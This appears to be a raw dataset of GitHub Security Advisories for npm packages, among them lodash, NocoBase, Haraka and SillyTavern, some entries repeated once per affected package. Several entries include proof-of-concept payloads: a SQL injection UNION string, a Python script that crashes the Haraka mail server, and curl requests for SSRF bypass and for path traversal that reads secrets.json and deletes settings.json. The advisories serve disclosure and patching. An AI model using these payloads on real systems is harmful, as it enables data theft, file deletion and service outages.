deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-f23m-r3pf-42rh
Package: lodash.unset (NPM)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: >= 4.0.0, < 4.18.0
Patched in: 4.18.0

Summary: lodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit`

Details:
### Impact

Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. The fix for [CVE-2025-13465](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as `Object.prototype`, `Number.prototype`, and `String.prototype`.

The issue permits deletion of prototype properties but does not allow overwriting their original behavior.

### Patches

This issue is patched in 4.18.0.

### Workarounds

None. Upgrade to the patched version.
GitHub Security Advisory: GHSA-f23m-r3pf-42rh
Package: lodash-amd (NPM)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: <= 4.17.23
Patched in: 4.18.0

Summary: lodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit`

Details:
### Impact

Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. The fix for [CVE-2025-13465](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as `Object.prototype`, `Number.prototype`, and `String.prototype`.

The issue permits deletion of prototype properties but does not allow overwriting their original behavior.

### Patches

This issue is patched in 4.18.0.

### Workarounds

None. Upgrade to the patched version.
GitHub Security Advisory: GHSA-f23m-r3pf-42rh
Package: lodash-es (NPM)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: <= 4.17.23
Patched in: 4.18.0

Summary: lodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit`

Details:
### Impact

Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. The fix for [CVE-2025-13465](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as `Object.prototype`, `Number.prototype`, and `String.prototype`.

The issue permits deletion of prototype properties but does not allow overwriting their original behavior.

### Patches

This issue is patched in 4.18.0.

### Workarounds

None. Upgrade to the patched version.
GitHub Security Advisory: GHSA-f23m-r3pf-42rh
Package: lodash (NPM)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: <= 4.17.23
Patched in: 4.18.0

Summary: lodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit`

Details:
### Impact

Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. The fix for [CVE-2025-13465](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as `Object.prototype`, `Number.prototype`, and `String.prototype`.

The issue permits deletion of prototype properties but does not allow overwriting their original behavior.

### Patches

This issue is patched in 4.18.0.

### Workarounds

None. Upgrade to the patched version.
GitHub Security Advisory: GHSA-vx58-fwwq-5g8j
Package: @nocobase/plugin-workflow-sql (NPM)
Severity: HIGH (CVSS 6.5)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: <= 2.0.29
Patched in: 2.0.30

Summary: NocoBase Has SQL Injection via template variable substitution in workflow SQL node

Details:
## Summary

NocoBase <= 2.0.8 `plugin-workflow-sql` substitutes template variables directly into raw SQL strings via `getParsedValue()` without parameterization or escaping. Any user who triggers a workflow containing a SQL node with template variables from user-controlled data can inject arbitrary SQL.

## Affected Versions

- Affected: all versions through 2.0.8

## Details

The `SQLInstruction` in `packages/plugins/@nocobase/plugin-workflow-sql/src/server/SQLInstruction.ts` line 28 processes SQL templates:

```typescript
// SQLInstruction.ts:28
const sql = processor.getParsedValue(node.config.sql || '', node.id).trim();
```

Then executes the resulting string directly:

```typescript
// SQLInstruction.ts:35
const [result] = await collectionManager.db.sequelize.query(sql, {
  transaction: this.workflow.useDataSourceTransaction(dataSourceName, processor.transaction),
});
```

`getParsedValue()` performs simple string substitution of `{{$context.data.fieldName}}` placeholders with values from the workflow trigger data. No escaping, quoting, or parameterized binding is applied.

When an admin creates a SQL node with a template like:
```sql
SELECT * FROM users WHERE nickname = '{{$context.data.nickname}}'
```

Any user who triggers the workflow with a crafted value can break out of the string literal and inject arbitrary SQL.

## Proof of Concept

1. Login as admin
2. Create a collection-trigger workflow on the `users` table (mode: after create)
3. Add a SQL node with:
```sql
SELECT id, nickname, email FROM users WHERE nickname = '{{$context.data.nickname}}'
```
4. Enable the workflow
5. Create a user with nickname set to: `' UNION SELECT 1,version(),current_user --`
6. Check execution result:

```json
[
  {
    "id": 1,
    "nickname": "PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on x86_64-pc-linux-gnu...",
    "email": "nocobase"
  }
]
```

The injected UNION SELECT returned the database version and current database user.

## Impact

Full database read/write access through SQL injection. An attacker who can trigger a workflow with a SQL node containing template variables from user-controlled data can extract credentials, modify records, or drop tables. The severity depends on the database user's privileges (full superuser access in the default Docker deployment).

## Suggested Fix

Use parameterized queries. Replace direct string substitution with Sequelize bind parameters:

```diff
// SQLInstruction.ts
- const sql = processor.getParsedValue(node.config.sql || '', node.id).trim();
+ const { sql, bind } = processor.getParsedValueAsParams(node.config.sql || '', node.id);
  const [result] = await collectionManager.db.sequelize.query(sql, {
+   bind,
    transaction: ...
  });
```
GitHub Security Advisory: GHSA-hpm8-9qx6-jvwv
Package: parse-server (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-285: Improper Authorization
Vulnerable versions: < 8.6.71
Patched in: 8.6.71

Summary: Parser Server's streaming file download bypasses afterFind file trigger authorization

Details:
### Impact

File downloads via HTTP Range requests bypass the `afterFind(Parse.File)` trigger and its validators on storage adapters that support streaming (e.g. the default GridFS adapter). This allows access to files that should be protected by `afterFind` trigger authorization logic or built-in validators such as `requireUser`.

### Patches

The streaming file download path now executes the `afterFind(Parse.File)` trigger before sending any data. Authentication is resolved from the session token header so that trigger validators can distinguish authenticated from unauthenticated requests.

### Workarounds

Use `beforeFind(Parse.File)` instead of `afterFind(Parse.File)` for file access authorization. The `beforeFind` trigger runs on all download paths including streaming.
GitHub Security Advisory: GHSA-hpm8-9qx6-jvwv
Package: parse-server (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-285: Improper Authorization
Vulnerable versions: >= 9.0.0, < 9.7.1-alpha.1
Patched in: 9.7.1-alpha.1

Summary: Parser Server's streaming file download bypasses afterFind file trigger authorization

Details:
### Impact

File downloads via HTTP Range requests bypass the `afterFind(Parse.File)` trigger and its validators on storage adapters that support streaming (e.g. the default GridFS adapter). This allows access to files that should be protected by `afterFind` trigger authorization logic or built-in validators such as `requireUser`.

### Patches

The streaming file download path now executes the `afterFind(Parse.File)` trigger before sending any data. Authentication is resolved from the session token header so that trigger validators can distinguish authenticated from unauthenticated requests.

### Workarounds

Use `beforeFind(Parse.File)` instead of `afterFind(Parse.File)` for file access authorization. The `beforeFind` trigger runs on all download paths including streaming.
GitHub Security Advisory: GHSA-xph3-r2jf-4vp3
Package: Haraka (NPM)
Severity: HIGH (CVSS 7.5)
CWE: CWE-248: Uncaught Exception
Vulnerable versions: <= 3.1.3
Patched in: 3.1.4

Summary: Haraka affected by DoS via `__proto__` email header

Details:
### Summary

Sending an email with `__proto__:` as a header name crashes the Haraka worker process. 

### Details

The header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:

```javascript
_add_header(key, value, method) {
    this.headers[key] ??= []          // line 216
    this.headers[key][method](value)  // line 217
}
```

When `key` is `__proto__`:
1. `this.headers['__proto__']` returns `Object.prototype` (the prototype getter)
2. `Object.prototype` is not null/undefined, so `??=` is skipped
3. `Object.prototype.push(value)` throws `TypeError: not a function`

The TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:

```js
process.on('uncaughtException', (err) => {
    if (err.stack) {
        err.stack.split('\n').forEach((line) => logger.crit(line))
    } else {
        logger.crit(`Caught exception: ${JSON.stringify(err)}`)
    }
    logger.dump_and_exit(1)
})
```

### PoC

```python
import socket, time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect(("127.0.0.1", 2525))
sock.recv(4096)
sock.sendall(b"EHLO evil\r\n"); sock.recv(4096)
sock.sendall(b"MAIL FROM:<x@x.com>\r\n"); sock.recv(4096)
sock.sendall(b"RCPT TO:<user@haraka.local>\r\n"); sock.recv(4096)
sock.sendall(b"DATA\r\n"); sock.recv(4096)
# Crash payload
sock.sendall(b"From: x@x.com\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n")
```

### Impact

In single-process mode (`nodes=0`), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.
GitHub Security Advisory: GHSA-frq9-7j6g-v74x
Package: @payloadcms/storage-s3 (NPM)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 3.78.0
Patched in: 3.78.0

Summary: Payload has Insufficient Filename Validation in Client-Upload Signed-URL Endpoints

Details:
### Impact

The client-upload signed-URL endpoints for S3, GCS, Azure, and R2 did not properly sanitize filenames. An attacker could craft filenames to escape the intended storage location.

Consumers are affected if ALL of these are true:

- Payload version **< v3.78.0**
- Using client-upload signed-URL endpoints for any supported storage adapter

  ## Patches

This vulnerability has been patched in **v3.78.0**. Filename validation has been hardened for client uploads.

Consumers should upgrade to **v3.78.0** or later.

## Workarounds

Consumers can upgrade:

- Limit access to client-upload signed-URL endpoints to trusted users only.
GitHub Security Advisory: GHSA-frq9-7j6g-v74x
Package: @payloadcms/storage-r2 (NPM)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 3.78.0
Patched in: 3.78.0

Summary: Payload has Insufficient Filename Validation in Client-Upload Signed-URL Endpoints

Details:
### Impact

The client-upload signed-URL endpoints for S3, GCS, Azure, and R2 did not properly sanitize filenames. An attacker could craft filenames to escape the intended storage location.

Consumers are affected if ALL of these are true:

- Payload version **< v3.78.0**
- Using client-upload signed-URL endpoints for any supported storage adapter

  ## Patches

This vulnerability has been patched in **v3.78.0**. Filename validation has been hardened for client uploads.

Consumers should upgrade to **v3.78.0** or later.

## Workarounds

Consumers can upgrade:

- Limit access to client-upload signed-URL endpoints to trusted users only.
GitHub Security Advisory: GHSA-frq9-7j6g-v74x
Package: @payloadcms/storage-gcs (NPM)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 3.78.0
Patched in: 3.78.0

Summary: Payload has Insufficient Filename Validation in Client-Upload Signed-URL Endpoints

Details:
### Impact

The client-upload signed-URL endpoints for S3, GCS, Azure, and R2 did not properly sanitize filenames. An attacker could craft filenames to escape the intended storage location.

Consumers are affected if ALL of these are true:

- Payload version **< v3.78.0**
- Using client-upload signed-URL endpoints for any supported storage adapter

  ## Patches

This vulnerability has been patched in **v3.78.0**. Filename validation has been hardened for client uploads.

Consumers should upgrade to **v3.78.0** or later.

## Workarounds

Consumers can upgrade:

- Limit access to client-upload signed-URL endpoints to trusted users only.
GitHub Security Advisory: GHSA-frq9-7j6g-v74x
Package: @payloadcms/storage-azure (NPM)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 3.78.0
Patched in: 3.78.0

Summary: Payload has Insufficient Filename Validation in Client-Upload Signed-URL Endpoints

Details:
### Impact

The client-upload signed-URL endpoints for S3, GCS, Azure, and R2 did not properly sanitize filenames. An attacker could craft filenames to escape the intended storage location.

Consumers are affected if ALL of these are true:

- Payload version **< v3.78.0**
- Using client-upload signed-URL endpoints for any supported storage adapter

  ## Patches

This vulnerability has been patched in **v3.78.0**. Filename validation has been hardened for client uploads.

Consumers should upgrade to **v3.78.0** or later.

## Workarounds

Consumers can upgrade:

- Limit access to client-upload signed-URL endpoints to trusted users only.
GitHub Security Advisory: GHSA-wm7j-m6jm-8797
Package: sillytavern (NPM)
Severity: MODERATE (CVSS 5.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 1.16.0
Patched in: 1.17.0

Summary: SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6

Details:
### Details
Distinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.

In `src/endpoints/search.js` line 419, the hostname is checked against `/^\d+\.\d+\.\d+\.\d+$/`. This only matches literal dotted-quad IPv4 (e.g. `127.0.0.1`, `10.0.0.1`). It does not catch:
- `localhost` (hostname, not dotted-quad)
- `[::1]` (IPv6 loopback)
- DNS names resolving to internal addresses (e.g. `localtest.me` -> 127.0.0.1)

A separate port check (`urlObj.port !== ''`) limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.

### PoC
1. Start SillyTavern v1.16.0 normally
2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):
```bash
# Blocked — dotted-quad matched by regex
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://127.0.0.1/", "html": true}'
# Returns: 400 (blocked)

# Bypassed — "localhost" is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://localhost/", "html": true}'
# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)

# Bypassed — IPv6 loopback is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://[::1]/", "html": true}'
# Returns: 500 (passed validation, fetch attempted)
```

The 400 vs 500 difference confirms `localhost` and `[::1]` pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.

### Impact
Server-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.

## Resolution

The issue was addressed in version 1.17.0 by improving IPv6 address validation
GitHub Security Advisory: GHSA-vprr-q85p-79mf
Package: sillytavern (NPM)
Severity: HIGH (CVSS 8.3)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 1.16.0
Patched in: 1.17.0

Summary: SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root

Details:
## Summary
A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=".."`.

### Details
The input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`.

Evidence:
- Weak validator regex (does not reject `..`):  
  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27>
- Vulnerable delete path construction:  
  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577>
- Vulnerable export path construction:  
  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598>
- Endpoint auth context (authenticated user access):  
  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239>

Because `avatar_url=".."` is accepted, `path.join(<user>/chats, "..")` resolves to `<user>/`, enabling direct access to files outside the chats directory.

### PoC
Prerequisites:
- Valid authenticated session cookie (`cookie.txt`)
- Valid CSRF token (`$TOKEN`)

Read sensitive file (`secrets.json`):

```bash
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
  -d '{"avatar_url":"..","is_group":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \
  http://TARGET:8000/api/chats/export
```

Delete sensitive file (`settings.json`):

```bash
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
  -d '{"avatar_url":"..","chatfile":"settings.json"}' \
  http://TARGET:8000/api/chats/delete
```

### Impact
- Confidentiality: exposed per-user secrets and config data.
- Integrity/Availability: attacker can delete critical per-user files and break account operation.
- Risk is significant in multi-user or remotely reachable deployments.

### Resolution

The issue was addressed in version 1.17.0
GitHub Security Advisory: GHSA-525j-2hrj-m8fp
Package: sillytavern (NPM)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 1.16.0
Patched in: 1.17.0

Summary: SillyTavern: Path Traversal allows file existence oracle

Details:
### Summary

A path traversal vulnerability in the static file route handler allows any unauthenticated user to determine whether files exist anywhere on the server's filesystem. By sending percent-encoded `../` sequences (`%2E%2E%2F`) in requests to static file routes, an attacker can check for the existence of files (404 if it doesn't exist, 403 means it exists).

### Details

The vulnerability is in `createRouteHandler` (`src/users.js:947–963`), which backs all user-data static file routes:

```javascript
function createRouteHandler(directoryFn) {
    return async (req, res) => {
        const directory = directoryFn(req);
        const filePath = decodeURIComponent(req.params[0]);
        const exists = fs.existsSync(path.join(directory, filePath)); // no boundary check here
        if (!exists) {
            return res.sendStatus(404);
        }
        return res.sendFile(filePath, { root: directory });
    };
}
```

`req.params[0]` contains the raw (percent-encoded) wildcard from the URL. After `decodeURIComponent`, a request path like `/characters/%2E%2E%2F%2E%2E%2FUsers/kirakira` decodes to `../../Users/kirakira`, and `path.join` resolves it outside the intended directory. `res.sendFile` correctly blocks the file from being served (the `send` module's root check returns 403), but `fs.existsSync` had already run, and the 403/404 distinction reveals the result.

Affected routes (they all use the same handler, so they're all affected):

- `/characters/*`
- `/user/files/*`
- `/assets/*`
- `/user/images/*`
- `/backgrounds/*`
- `/User%20Avatars/*`

### PoC

```bash
curl -o /dev/null -s -w "%{http_code}\n" "http://localhost:8000/characters/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2FUsers/kirakira/something"
```

### Impact

While file contents cannot be read (the `send` module blocks actual delivery), anyone who can reach the SillyTavern HTTP port can check the existence of files on the host filesystem.

### Resolution

The issue was addressed in version 1.17.0.